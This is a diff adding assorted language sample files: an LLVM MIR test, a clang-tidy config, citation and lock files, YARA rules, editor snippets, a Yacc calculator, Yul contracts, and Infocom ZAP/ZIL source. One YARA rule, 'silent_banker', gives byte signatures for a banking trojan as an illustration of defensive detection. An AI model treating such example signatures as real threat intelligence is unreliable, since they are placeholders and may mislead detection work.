+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+# CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+# SOFTWARE.
+
+# ==============================================================================
+# Copyrights and Licenses for Third Party Software Distributed with LLVM:
+# ==============================================================================
+# The LLVM software contains code written by third parties.  Such software will
+# have its own individual LICENSE.TXT file in the directory in which it appears.
+# This file will describe the copyrights, license, and restrictions which apply
+# to that code.
+
+# The disclaimer of warranty in the University of Illinois Open Source License
+# applies to all code in the LLVM Distribution, and nothing in any of the
+# other licenses gives permission to use the names of the LLVM Team or the
+# University of Illinois to endorse or promote products derived from this
+# Software.
+
+# The following pieces of software have additional or alternate copyrights,
+# licenses, and/or restrictions:
+
+# Program             Directory
+# -------             ---------
+# Google Test         llvm/utils/unittest/googletest
+# OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
+# pyyaml tests        llvm/test/YAMLParser/{*.data, LICENSE.TXT}
+# ARM contributions   llvm/lib/Target/ARM/LICENSE.TXT
+# md5 contributions llvm/lib/Support/MD5.cpp llvm/include/llvm/Support/MD5.h
+
+# Original Source : https://github.com/llvm-mirror/llvm/blob/b931375195077d79330792590733db7de9a8f1bd/test/CodeGen/MIR/NVPTX/expected-floating-point-literal.mir
+
+# RUN: not llc -march=nvptx -mcpu=sm_20 -run-pass none -o /dev/null %s 2>&1 | FileCheck %s
+
+--- |
+
+  define float @test(float %k) {
+  entry:
+    %0 = fadd float %k, 3.250000e+00
+    ret float %0
+  }
+
+...
+---
+name:            test
+registers:
+  - { id: 0, class: float32regs }
+  - { id: 1, class: float32regs }
+body: |
+  bb.0.entry:
+    %0 = LD_f32_avar 0, 4, 1, 2, 32, &test_param_0
+  ; CHECK: [[@LINE+1]]:33: expected a floating point literal
+    %1 = FADD_rnf32ri %0, float 3
+    StoreRetvalF32 %1, 0
+    Return
+...
diff --git a/samples/YAML/filenames/.clang-tidy b/samples/YAML/filenames/.clang-tidy
new file mode 100644
index 0000000000..e392afb92e
--- /dev/null
+++ b/samples/YAML/filenames/.clang-tidy
@@ -0,0 +1,30 @@
+---
+Checks:          'clang-diagnostic-*,clang-analyzer-*'
+WarningsAsErrors: ''
+HeaderFilterRegex: ''
+AnalyzeTemporaryDtors: false
+FormatStyle:     none
+User:            linguist-user
+CheckOptions:
+  - key:             google-readability-braces-around-statements.ShortStatementLines
+    value:           '1'
+  - key:             google-readability-function-size.StatementThreshold
+    value:           '800'
+  - key:             google-readability-namespace-comments.ShortNamespaceLines
+    value:           '10'
+  - key:             google-readability-namespace-comments.SpacesBeforeComments
+    value:           '2'
+  - key:             modernize-loop-convert.MaxCopySize
+    value:           '16'
+  - key:             modernize-loop-convert.MinConfidence
+    value:           reasonable
+  - key:             modernize-loop-convert.NamingStyle
+    value:           CamelCase
+  - key:             modernize-pass-by-value.IncludeStyle
+    value:           llvm
+  - key:             modernize-replace-auto-ptr.IncludeStyle
+    value:           llvm
+  - key:             modernize-use-nullptr.NullMacros
+    value:           'NULL'
+...
+
diff --git a/samples/YAML/filenames/CITATION.cff b/samples/YAML/filenames/CITATION.cff
new file mode 100644
index 0000000000..62c66eb9f0
--- /dev/null
+++ b/samples/YAML/filenames/CITATION.cff
@@ -0,0 +1,112 @@
+cff-version: 1.2.0
+message: "If you use CFF in your research, please cite it using these metadata."
+abstract: CITATION.cff files are plain text files with human- and machine-readable citation information for software. Code developers can include them in their repositories to let others know how to correctly cite their software. This is the specification for the Citation File Format.
+authors:
+  - family-names: Druskat
+    given-names: Stephan
+    orcid: https://orcid.org/0000-0003-4925-7248
+  - family-names: Spaaks
+    given-names: Jurriaan H.
+    orcid: https://orcid.org/0000-0002-7064-4069
+  - family-names: Chue Hong
+    given-names: Neil
+    orcid: https://orcid.org/0000-0002-8876-7606
+  - family-names: Haines
+    given-names: Robert
+    orcid: https://orcid.org/0000-0002-9538-7919
+  - family-names: Baker
+    given-names: James
+    orcid: https://orcid.org/0000-0002-2682-6922
+  - family-names: Bliven
+    given-names: Spencer
+    orcid: https://orcid.org/0000-0002-1200-1698
+    email: spencer.bliven@gmail.com
+  - family-names: Willighagen
+    given-names: Egon
+    orcid: https://orcid.org/0000-0001-7542-0286
+  - family-names: Pérez-Suárez
+    given-names: David
+    orcid: https://orcid.org/0000-0003-0784-6909
+    website: https://dpshelio.github.io
+  - family-names: Konovalov
+    given-names: Alexander
+    orcid: https://orcid.org/0000-0001-5299-3292
+title: Citation File Format
+version: 1.2.0
+identifiers:
+  - type: doi
+    value: 10.5281/zenodo.1003149
+    description: The concept DOI for the collection containing all versions of the Citation File Format.
+  - type: doi
+    value: 10.5281/zenodo.5171937
+    description: The versioned DOI for the version 1.2.0 of the Citation File Format.
+date-released: "2021-08-09"
+keywords:
+  - citation file format
+  - CFF
+  - citation files
+  - software citation
+  - file format
+  - YAML
+  - software sustainability
+  - research software
+  - credit
+license: "CC-BY-4.0"
+doi: 10.5281/zenodo.5171937
+references:
+  - authors:
+      - family-names: Smith
+        given-names: Arfon M.
+      - family-names: Katz
+        given-names: Daniel S.
+      - family-names: Niemeyer
+        given-names: Kyle E.
+      - name: "FORCE11 Software Citation Working Group"
+    doi: 10.7717/peerj-cs.86
+    journal: "PeerJ Computer Science"
+    month: 9
+    start: e86
+    title: "Software citation principles"
+    type: article
+    volume: 2
+    year: 2016
+  - authors:
+      - family-names: Druskat
+        given-names: Stephan
+    conference:
+        name: "Workshop on Sustainable Software for Science: Practice and Experiences (WSSSPE5.1)"
+    doi: 10.6084/m9.figshare.3827058
+    title: "Track 2 Lightning Talk: Should CITATION files be standardized?"
+    type: proceedings
+    year: 2017
+  - authors:
+      - family-names: Wilson
+        given-names: Robin
+    title: "Encouraging citation of software - introducing CITATION files."
+    type: blog
+    url: "https://www.software.ac.uk/blog/2013-09-02-encouraging-citation-software-introducing-citation-files"
+    year: 2013
+  - authors:
+      - family-names: Ben-Kiki
+        given-names: Oren
+      - family-names: Evans
+        given-names: Clark
+      - family-names: "döt Net"
+        given-names: Ingy
+    title: "YAML Ain't Markup Language (YAML) Version 1.2. 3rd Edition, Patched at 2009-10-01."
+    url: "https://yaml.org/spec/1.2/spec.html"
+    type: standard
+    year: 2009
+  - authors:
+      - family-names: Hufflen
+        given-names: Jean-Michel
+    collection-title: "Proceedings of the 2006 Annual Meeting"
+    end: 253
+    month: 11
+    number: 2
+    start: 243
+    title: "Names in bibtex and mlBibTeX"
+    url: "https://www.tug.org/TUGboat/tb27-2/tb87hufflen.pdf"
+    type: proceedings
+    volume: 27
+    year: 2006
diff --git a/samples/YAML/filenames/glide.lock b/samples/YAML/filenames/glide.lock
new file mode 100644
index 0000000000..d49331f93c
--- /dev/null
+++ b/samples/YAML/filenames/glide.lock
@@ -0,0 +1,10 @@
+hash: e7e387e385240ea7d48e6de6a0c58fe523bfefa1d7895a2c25c100feb978774d
+updated: 2018-05-14T17:44:41.444919-04:00
+imports:
+- name: golang.org/x/net
+  version: 1c05540f6879653db88113bc4a2b70aec4bd491f
+  subpackages:
+  - context
+- name: gopkg.in/tomb.v2
+  version: d5d1b5820637886def9eef33e03a27a9f166942c
+testImports: []
diff --git a/samples/YAML/filenames/yarn.lock b/samples/YAML/filenames/yarn.lock
new file mode 100644
index 0000000000..e969afafab
--- /dev/null
+++ b/samples/YAML/filenames/yarn.lock
@@ -0,0 +1,30 @@
+# This file is generated by running "yarn install" inside your project.
+# Manual changes might be lost - proceed with caution!
+
+__metadata:
+  version: 4
+
+"@algolia/cache-browser-local-storage@npm:4.0.1":
+  version: 4.0.1
+  resolution: "@algolia/cache-browser-local-storage@npm:4.0.1"
+  dependencies:
+    "@algolia/cache-common": 4.0.1
+  checksum: 2/bc61ab01a2723fe319eb41271f196b208f04d52db75526a87dd5189824be2b8dc1c7f0bdc93d958eb80192c20ba467709a87a227d8bc29f69549e28a5e8b0c66
+  languageName: node
+  linkType: hard
+
+"@algolia/cache-common@npm:4.0.1":
+  version: 4.0.1
+  resolution: "@algolia/cache-common@npm:4.0.1"
+  checksum: 2/4016b1e91e91eb1cd11d452c807579d679daee3ddb605e083bd3f1ffc2426af4bc5b831316c67cf4d10c8d9e042e70b835fbcc6e14be59556f3b3d2f113c9774
+  languageName: node
+  linkType: hard
+
+"@algolia/cache-in-memory@npm:4.0.1":
+  version: 4.0.1
+  resolution: "@algolia/cache-in-memory@npm:4.0.1"
+  dependencies:
+    "@algolia/cache-common": 4.0.1
+  checksum: 2/04118bbf8e4d491b32fc8575a9f1b5b3393782c0237f93486d3408600865da56902a1c0c077fc9844127789927bc44192032a79cac442e74735853f85e4fef60
+  languageName: node
+  linkType: hard
diff --git a/samples/YARA/OfExample.yar b/samples/YARA/OfExample.yar
new file mode 100644
index 0000000000..f241cca82a
--- /dev/null
+++ b/samples/YARA/OfExample.yar
@@ -0,0 +1,23 @@
+rule OfExample2
+{
+    strings:
+        $foo1 = "foo1"
+        $foo2 = "foo2"
+        $foo3 = "foo3"
+
+    condition:
+        2 of ($foo*)  // equivalent to 2 of ($foo1,$foo2,$foo3)
+}
+
+rule OfExample3
+{
+    strings:
+        $foo1 = "foo1"
+        $foo2 = "foo2"
+
+        $bar1 = "bar1"
+        $bar2 = "bar2"
+
+    condition:
+        3 of ($foo*,$bar1,$bar2)
+}
diff --git a/samples/YARA/example.yara b/samples/YARA/example.yara
new file mode 100644
index 0000000000..f12c8e091a
--- /dev/null
+++ b/samples/YARA/example.yara
@@ -0,0 +1,13 @@
+rule silent_banker : banker
+{
+    meta:
+        description = "This is just an example"
+        thread_level = 3
+        in_the_wild = true
+    strings:
+        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
+        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
+        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
+    condition:
+        $a or $b or $c
+}
diff --git a/samples/YARA/true.yar b/samples/YARA/true.yar
new file mode 100644
index 0000000000..55d91be606
--- /dev/null
+++ b/samples/YARA/true.yar
@@ -0,0 +1 @@
+rule test { condition: true }
diff --git a/samples/YASnippet/font-face.yasnippet b/samples/YASnippet/font-face.yasnippet
new file mode 100644
index 0000000000..bfcf7520ab
--- /dev/null
+++ b/samples/YASnippet/font-face.yasnippet
@@ -0,0 +1,15 @@
+# name: font-face
+# key: font
+# group: css
+# --
+@font-face {
+	font-family: ${1:FontName};
+	font-weight: normal;
+	font-style: normal;
+	src: url("${2:fonts/font-name}.eot");
+	src: url("${2:fonts/font-name}.eot#iefix") format("embedded-opentype"),
+		url("${2:fonts/font-name}.woff2") format("woff2"),
+		url("${2:fonts/font-name}.ttf") format("truetype"),
+		url("${2:fonts/font-name}.woff") format("woff"),
+		url("${2:fonts/font-name}.svg#FontName") format("svg");
+}$3
\ No newline at end of file
diff --git a/samples/YASnippet/stdin.yasnippet b/samples/YASnippet/stdin.yasnippet
new file mode 100644
index 0000000000..d5a1625c39
--- /dev/null
+++ b/samples/YASnippet/stdin.yasnippet
@@ -0,0 +1,14 @@
+# name: Read stdin
+# key: stdin
+# group: es6
+# --
+new Promise(resolve => {
+	let input = "";
+	process.stdin.setEncoding("UTF8");
+	process.stdin.on("readable", () => {
+		const chunk = process.stdin.read();
+		null !== chunk ? input += chunk : resolve(input);
+	})
+}).then(data => {
+	$1
+});
\ No newline at end of file
diff --git a/samples/Yacc/calc.yy b/samples/Yacc/calc.yy
new file mode 100644
index 0000000000..c8416b34e3
--- /dev/null
+++ b/samples/Yacc/calc.yy
@@ -0,0 +1,122 @@
+%{
+/*
+ * Test program: Advanced Calculator
+ * by Zhao Cheng 5/20/2012
+ */
+%}
+
+%union {
+    double val;    /* For returning numbers.  */
+    symrec *tptr;  /* For returning symbol-table pointers.  */
+}
+
+%token <val> NUMBER
+%token <tptr> VAR FNCT
+
+%right '='
+%left '+' '-'
+%left '*' '/'
+%right '^'
+%left NEG
+
+%type <val> expression
+
+%{
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+#include "calc.h"  /* Contains definition of `symrec'.  */
+%}
+
+%%
+
+statement
+    : /* empty */ { exit(0); }
+    | expression { printf("= %f\n", $1); }
+    ;
+
+expression
+    : NUMBER { $$ = $1; }
+    | VAR    { $$ = $1->value.var; }
+    | VAR '=' expression        { $$ = $3; $1->value.var = $3; }
+    | FNCT '(' expression ')'   { $$ = (*($1->value.fnctptr))($3); }
+    | expression '*' expression { $$ = $1 * $3; }
+    | expression '/' expression { $$ = $1 / $3; }
+    | expression '+' expression { $$ = $1 + $3; }
+    | expression '-' expression { $$ = $1 - $3; }
+    | expression '^' expression { $$ = pow($1, $3); }
+    | '-' expression %prec NEG  { $$ = -$2; }
+    | '(' expression ')'        { $$ = $2; }
+    ;
+
+%%
+struct init
+{
+    char const *fname;
+    double (*fnct) (double);
+};
+struct init const arith_fncts[] =
+{
+    "sin"   , sin   , 
+    "asin"  , asin  , 
+    "cos"   , cos   , 
+    "acos"  , acos  , 
+    "tan"   , tan   , 
+    "atan"  , atan  , 
+    "ceil"  , ceil  , 
+    "floor" , floor , 
+    "abs"   , fabs  , 
+    "ln"    , log   , 
+    "log"   , log10 , 
+    "lg"    , log2  , 
+    "exp"   , exp   , 
+    "sqrt"  , sqrt  , 
+    0       , 0
+};
+/* The symbol table: a chain of `struct symrec'.  */
+symrec *sym_table;
+/* Put arithmetic functions in table.  */
+void init_table (void)
+{
+    int i;
+    symrec *ptr;
+    for (i = 0; arith_fncts[i].fname != 0; i++) {
+        ptr = putsym (arith_fncts[i].fname, FNCT);
+        ptr->value.fnctptr = arith_fncts[i].fnct;
+    }
+}
+int main()
+{
+    init_table();
+    while (yyparse() == 0)
+        ;
+    return 0;
+}
+void yyerror(const char *msg)
+{
+    fprintf(stderr, "Error: %s\n", msg);
+}
+symrec *
+putsym (char const *sym_name, int sym_type)
+{
+  symrec *ptr;
+  ptr = (symrec *) malloc (sizeof (symrec));
+  ptr->name = (char *) malloc (strlen (sym_name) + 1);
+  strcpy (ptr->name,sym_name);
+  ptr->type = sym_type;
+  ptr->value.var = 0; /* Set value to 0 even if fctn.  */
+  ptr->next = (struct symrec *)sym_table;
+  sym_table = ptr;
+  return ptr;
+}
+symrec *
+getsym (char const *sym_name)
+{
+  symrec *ptr;
+  for (ptr = sym_table; ptr != (symrec *) 0;
+       ptr = (symrec *)ptr->next)
+    if (strcmp (ptr->name,sym_name) == 0)
+      return ptr;
+  return 0;
+}
diff --git a/samples/Yul/contract.yul b/samples/Yul/contract.yul
new file mode 100644
index 0000000000..1d657937ad
--- /dev/null
+++ b/samples/Yul/contract.yul
@@ -0,0 +1,68 @@
+// A contract consists of a single object with sub-objects representing
+// the code to be deployed or other contracts it can create.
+// The single "code" node is the executable code of the object.
+// Every (other) named object or data section is serialized and
+// made accessible to the special built-in functions datacopy / dataoffset / datasize
+// The current object, sub-objects and data items inside the current object
+// are in scope.
+object "Contract1" {
+    // This is the constructor code of the contract.
+    code {
+        function allocate(size) -> ptr {
+            ptr := mload(0x40)
+            if iszero(ptr) { ptr := 0x60 }
+            mstore(0x40, add(ptr, size))
+        }
+
+        // first create "Contract2"
+        let size := datasize("Contract2")
+        let offset := allocate(size)
+        // This will turn into codecopy for EVM
+        datacopy(offset, dataoffset("Contract2"), size)
+        // constructor parameter is a single number 0x1234
+        mstore(add(offset, size), 0x1234)
+        pop(create(offset, add(size, 32), 0))
+
+        // now return the runtime object (the currently
+        // executing code is the constructor code)
+        size := datasize("Contract1_deployed")
+        offset := allocate(size)
+        // This will turn into a memory->memory copy for Ewasm and
+        // a codecopy for EVM
+        datacopy(offset, dataoffset("Contract1_deployed"), size)
+        return(offset, size)
+    }
+
+    data "Table2" hex"4123"
+
+    object "Contract1_deployed" {
+        code {
+            function allocate(size) -> ptr {
+                ptr := mload(0x40)
+                if iszero(ptr) { ptr := 0x60 }
+                mstore(0x40, add(ptr, size))
+            }
+
+            // runtime code
+
+            mstore(0, "Hello, World!")
+            return(0, 0x20)
+        }
+    }
+
+    // Embedded object. Use case is that the outside is a factory contract,
+    // and Contract2 is the code to be created by the factory
+    object "Contract2" {
+        code {
+            // code here ...
+        }
+
+        object "Contract2_deployed" {
+            code {
+                // code here ...
+            }
+        }
+
+        data "Table1" hex"4123"
+    }
+}
diff --git a/samples/Yul/erc20.yul b/samples/Yul/erc20.yul
new file mode 100644
index 0000000000..cbc04b5717
--- /dev/null
+++ b/samples/Yul/erc20.yul
@@ -0,0 +1,186 @@
+object "Token" {
+    code {
+        // Store the creator in slot zero.
+        sstore(0, caller())
+
+        // Deploy the contract
+        datacopy(0, dataoffset("runtime"), datasize("runtime"))
+        return(0, datasize("runtime"))
+    }
+    object "runtime" {
+        code {
+            // Protection against sending Ether
+            require(iszero(callvalue()))
+
+            // Dispatcher
+            switch selector()
+            case 0x70a08231 /* "balanceOf(address)" */ {
+                returnUint(balanceOf(decodeAsAddress(0)))
+            }
+            case 0x18160ddd /* "totalSupply()" */ {
+                returnUint(totalSupply())
+            }
+            case 0xa9059cbb /* "transfer(address,uint256)" */ {
+                transfer(decodeAsAddress(0), decodeAsUint(1))
+                returnTrue()
+            }
+            case 0x23b872dd /* "transferFrom(address,address,uint256)" */ {
+                transferFrom(decodeAsAddress(0), decodeAsAddress(1), decodeAsUint(2))
+                returnTrue()
+            }
+            case 0x095ea7b3 /* "approve(address,uint256)" */ {
+                approve(decodeAsAddress(0), decodeAsUint(1))
+                returnTrue()
+            }
+            case 0xdd62ed3e /* "allowance(address,address)" */ {
+                returnUint(allowance(decodeAsAddress(0), decodeAsAddress(1)))
+            }
+            case 0x40c10f19 /* "mint(address,uint256)" */ {
+                mint(decodeAsAddress(0), decodeAsUint(1))
+                returnTrue()
+            }
+            default {
+                revert(0, 0)
+            }
+
+            function mint(account, amount) {
+                require(calledByOwner())
+
+                mintTokens(amount)
+                addToBalance(account, amount)
+                emitTransfer(0, account, amount)
+            }
+            function transfer(to, amount) {
+                executeTransfer(caller(), to, amount)
+            }
+            function approve(spender, amount) {
+                revertIfZeroAddress(spender)
+                setAllowance(caller(), spender, amount)
+                emitApproval(caller(), spender, amount)
+            }
+            function transferFrom(from, to, amount) {
+                decreaseAllowanceBy(from, caller(), amount)
+                executeTransfer(from, to, amount)
+            }
+
+            function executeTransfer(from, to, amount) {
+                revertIfZeroAddress(to)
+                deductFromBalance(from, amount)
+                addToBalance(to, amount)
+                emitTransfer(from, to, amount)
+            }
+
+
+            /* ---------- calldata decoding functions ----------- */
+            function selector() -> s {
+                s := div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)
+            }
+
+            function decodeAsAddress(offset) -> v {
+                v := decodeAsUint(offset)
+                if iszero(iszero(and(v, not(0xffffffffffffffffffffffffffffffffffffffff)))) {
+                    revert(0, 0)
+                }
+            }
+            function decodeAsUint(offset) -> v {
+                let pos := add(4, mul(offset, 0x20))
+                if lt(calldatasize(), add(pos, 0x20)) {
+                    revert(0, 0)
+                }
+                v := calldataload(pos)
+            }
+            /* ---------- calldata encoding functions ---------- */
+            function returnUint(v) {
+                mstore(0, v)
+                return(0, 0x20)
+            }
+            function returnTrue() {
+                returnUint(1)
+            }
+
+            /* -------- events ---------- */
+            function emitTransfer(from, to, amount) {
+                let signatureHash := 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
+                emitEvent(signatureHash, from, to, amount)
+            }
+            function emitApproval(from, spender, amount) {
+                let signatureHash := 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925
+                emitEvent(signatureHash, from, spender, amount)
+            }
+            function emitEvent(signatureHash, indexed1, indexed2, nonIndexed) {
+                mstore(0, nonIndexed)
+                log3(0, 0x20, signatureHash, indexed1, indexed2)
+            }
+
+            /* -------- storage layout ---------- */
+            function ownerPos() -> p { p := 0 }
+            function totalSupplyPos() -> p { p := 1 }
+            function accountToStorageOffset(account) -> offset {
+                offset := add(0x1000, account)
+            }
+            function allowanceStorageOffset(account, spender) -> offset {
+                offset := accountToStorageOffset(account)
+                mstore(0, offset)
+                mstore(0x20, spender)
+                offset := keccak256(0, 0x40)
+            }
+
+            /* -------- storage access ---------- */
+            function owner() -> o {
+                o := sload(ownerPos())
+            }
+            function totalSupply() -> supply {
+                supply := sload(totalSupplyPos())
+            }
+            function mintTokens(amount) {
+                sstore(totalSupplyPos(), safeAdd(totalSupply(), amount))
+            }
+            function balanceOf(account) -> bal {
+                bal := sload(accountToStorageOffset(account))
+            }
+            function addToBalance(account, amount) {
+                let offset := accountToStorageOffset(account)
+                sstore(offset, safeAdd(sload(offset), amount))
+            }
+            function deductFromBalance(account, amount) {
+                let offset := accountToStorageOffset(account)
+                let bal := sload(offset)
+                require(lte(amount, bal))
+                sstore(offset, sub(bal, amount))
+            }
+            function allowance(account, spender) -> amount {
+                amount := sload(allowanceStorageOffset(account, spender))
+            }
+            function setAllowance(account, spender, amount) {
+                sstore(allowanceStorageOffset(account, spender), amount)
+            }
+            function decreaseAllowanceBy(account, spender, amount) {
+                let offset := allowanceStorageOffset(account, spender)
+                let currentAllowance := sload(offset)
+                require(lte(amount, currentAllowance))
+                sstore(offset, sub(currentAllowance, amount))
+            }
+
+            /* ---------- utility functions ---------- */
+            function lte(a, b) -> r {
+                r := iszero(gt(a, b))
+            }
+            function gte(a, b) -> r {
+                r := iszero(lt(a, b))
+            }
+            function safeAdd(a, b) -> r {
+                r := add(a, b)
+                if or(lt(r, a), lt(r, b)) { revert(0, 0) }
+            }
+            function calledByOwner() -> cbo {
+                cbo := eq(owner(), caller())
+            }
+            function revertIfZeroAddress(addr) {
+                require(addr)
+            }
+            function require(condition) {
+                if iszero(condition) { revert(0, 0) }
+            }
+        }
+    }
+}
diff --git a/samples/ZAP/planetfall.zap b/samples/ZAP/planetfall.zap
new file mode 100644
index 0000000000..3fe527051b
--- /dev/null
+++ b/samples/ZAP/planetfall.zap
@@ -0,0 +1,47 @@
+; Low core locations
+%ZVERSION::	.BYTE	0
+		.BYTE	FLAGS
+%ZORKID::	ZORKID
+%ENDLOD::	ENDLOD
+%START::	START
+%VOCAB::	VOCAB
+%OBJECT::	OBJECT
+%GLOBAL::	GLOBAL
+%PURBOT::	IMPURE
+%FLAGS::	.WORD 64
+%SERIAL::	.WORD	0
+%SERI1::	.WORD	0
+%SERI2::	.WORD	0
+%FWORDS::	WORDS
+%PLENTH::	.WORD	0
+%PCHKSM::	.WORD	0
+%INTWRD::	.WORD	0
+%SCRWRD::	.WORD	0
+	.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+.WORD	0
+	.INSERT "SS:<PLANETFALL>PLANETFALLFREQ"	;Frequent word table
+	.INSERT "SS:<PLANETFALL>PLANETFALLDAT"	; Data file
+	.INSERT "SS:<PLANETFALL>PLANETFALLPUR"
+	.INSERT "SS:<PLANETFALL>MISC"
+	.INSERT "SS:<PLANETFALL>GLOBALS"
+	.INSERT "SS:<PLANETFALL>PARSER"
+	.INSERT "SS:<PLANETFALL>VERBS"
+	.INSERT "SS:<PLANETFALL>COMPONE"
+	.INSERT "SS:<PLANETFALL>COMPTWO"
+
+	.INSERT "SS:<PLANETFALL>PLANETFALLSTR"
+
+	.END
diff --git a/samples/ZIL/misc.zil b/samples/ZIL/misc.zil
new file mode 100644
index 0000000000..70e06c3ff6
--- /dev/null
+++ b/samples/ZIL/misc.zil
@@ -0,0 +1,611 @@
+"MISC for
+		  THE HITCHHIKER'S GUIDE TO THE GALAXY
+	     (c) 1984 by Infocom, Inc.  All Rights Reserved."
+
+;"former MACROS.ZIL stuff"
+
+<SETG C-ENABLED? 0>
+
+<SETG C-ENABLED 1>
+
+<SETG C-DISABLED 0>
+
+;<ROUTINE ENABLED? (RTN "AUX" C E)
+	 <SET E <REST ,C-TABLE ,C-TABLELEN>>
+	 <SET C <REST ,C-TABLE ,C-INTS>>
+	 <REPEAT ()
+		 <COND (<==? .C .E> <RFALSE>)
+		       (<EQUAL? <GET .C ,C-RTN> .RTN>
+			<COND (<0? <GET .C ,C-ENABLED?>>
+			       <RFALSE>)
+			      (T
+			       <RTRUE>)>)>
+		 <SET C <REST .C ,C-INTLEN>>>>
+
+;<ROUTINE QUEUED? (RTN "AUX" C E)
+	 <SET E <REST ,C-TABLE ,C-TABLELEN>>
+	 <SET C <REST ,C-TABLE ,C-INTS>>
+	 <REPEAT ()
+		 <COND (<==? .C .E> <RFALSE>)
+		       (<EQUAL? <GET .C ,C-RTN> .RTN>
+			<COND (<OR <0? <GET .C ,C-ENABLED?>>
+				   <0? <GET .C ,C-TICK>>>
+			       <RFALSE>)
+			      (T <RTRUE>)>)>
+		 <SET C <REST .C ,C-INTLEN>>>>
+
+<ROUTINE RUNNING? (RTN "AUX" C E TICK)
+	 <SET E <REST ,C-TABLE ,C-TABLELEN>>
+	 <SET C <REST ,C-TABLE ,C-INTS>>
+	 <REPEAT ()
+		 <COND (<==? .C .E> <RFALSE>)
+		       (<EQUAL? <GET .C ,C-RTN> .RTN>
+			<COND (<OR <0? <GET .C ,C-ENABLED?>>
+				   <0? <SET TICK <GET .C ,C-TICK>>>
+				   <G? .TICK 1>>
+			       <RFALSE>)
+			      (T <RTRUE>)>)>
+		 <SET C <REST .C ,C-INTLEN>>>>
+
+<DEFMAC TELL ("ARGS" A)
+	<FORM PROG ()
+	      !<MAPF ,LIST
+		     <FUNCTION ("AUX" E P O)
+			  <COND (<EMPTY? .A> <MAPSTOP>)
+				(<SET E <NTH .A 1>>
+				 <SET A <REST .A>>)>
+			  <COND (<TYPE? .E ATOM>
+				 <COND (<OR <=? <SET P <SPNAME .E>>
+						"CRLF">
+					    <=? .P "CR">>
+					<MAPRET '<CRLF>>)
+				       (<EMPTY? .A>
+					<ERROR INDICATOR-AT-END? .E>)
+				       (ELSE
+					<SET O <NTH .A 1>>
+					<SET A <REST .A>>
+					<COND (<OR <=? <SET P <SPNAME .E>>
+						       "DESC">
+						   <=? .P "D">
+						   <=? .P "OBJ">
+						   <=? .P "O">>
+					       <MAPRET <FORM PRINTD .O>>)
+					      (<OR <=? .P "NUM">
+						   <=? .P "N">>
+					       <MAPRET <FORM PRINTN .O>>)
+					      (<OR <=? .P "CHAR">
+						   <=? .P "CHR">
+						   <=? .P "C">>
+					       <MAPRET <FORM PRINTC .O>>)
+					      (ELSE
+					       <MAPRET
+						 <FORM PRINT
+						       <FORM GETP .O .E>>>)>)>)
+				(<TYPE? .E STRING ZSTRING>
+				 <MAPRET <FORM PRINTI .E>>)
+				(<TYPE? .E FORM LVAL GVAL>
+				 <MAPRET <FORM PRINT .E>>)
+				(ELSE <ERROR UNKNOWN-TYPE .E>)>>>>>
+
+<DEFMAC VERB? ("ARGS" ATMS)
+	<MULTIFROB PRSA .ATMS>>
+
+<DEFMAC PRSO? ("ARGS" ATMS)
+	<MULTIFROB PRSO .ATMS>>
+
+<DEFMAC PRSI? ("ARGS" ATMS)
+	<MULTIFROB PRSI .ATMS>>
+
+<DEFMAC ROOM? ("ARGS" ATMS)
+	<MULTIFROB HERE .ATMS>>
+
+<DEFINE MULTIFROB (X ATMS "AUX" (OO (OR)) (O .OO) (L ()) ATM) 
+	<REPEAT ()
+		<COND (<EMPTY? .ATMS>
+		       <RETURN!- <COND (<LENGTH? .OO 1> <ERROR .X>)
+				       (<LENGTH? .OO 2> <NTH .OO 2>)
+				       (ELSE <CHTYPE .OO FORM>)>>)>
+		<REPEAT ()
+			<COND (<EMPTY? .ATMS> <RETURN!->)>
+			<SET ATM <NTH .ATMS 1>>
+			<SET L
+			     (<COND (<TYPE? .ATM ATOM>
+				     <FORM GVAL
+					   <COND (<==? .X PRSA>
+						  <PARSE
+						    <STRING "V?"
+							    <SPNAME .ATM>>>)
+						 (ELSE .ATM)>>)
+				    (ELSE .ATM)>
+			      !.L)>
+			<SET ATMS <REST .ATMS>>
+			<COND (<==? <LENGTH .L> 3> <RETURN!->)>>
+		<SET O <REST <PUTREST .O (<FORM EQUAL? <FORM GVAL .X> !.L>)>>>
+		<SET L ()>>>
+
+<DEFMAC BSET ('OBJ "ARGS" BITS)
+	<MULTIBITS FSET .OBJ .BITS>>
+
+<DEFMAC BCLEAR ('OBJ "ARGS" BITS)
+	<MULTIBITS FCLEAR .OBJ .BITS>>
+
+<DEFMAC BSET? ('OBJ "ARGS" BITS)
+	<MULTIBITS FSET? .OBJ .BITS>>
+
+<DEFINE MULTIBITS (X OBJ ATMS "AUX" (O ()) ATM) 
+	<REPEAT ()
+		<COND (<EMPTY? .ATMS>
+		       <RETURN!- <COND (<LENGTH? .O 1> <NTH .O 1>)
+				       (<EQUAL? .X FSET?> <FORM OR !.O>)
+				       (ELSE <FORM PROG () !.O>)>>)>
+		<SET ATM <NTH .ATMS 1>>
+		<SET ATMS <REST .ATMS>>
+		<SET O
+		     (<FORM .X
+			    .OBJ
+			    <COND (<TYPE? .ATM FORM> .ATM)
+				  (ELSE <FORM GVAL .ATM>)>>
+		      !.O)>>>
+
+<DEFMAC RFATAL ()
+	'<PROG () <PUSH 2> <RSTACK>>>
+
+<DEFMAC PROB ('BASE?)
+	<FORM NOT <FORM L? .BASE? '<RANDOM 100>>>>
+
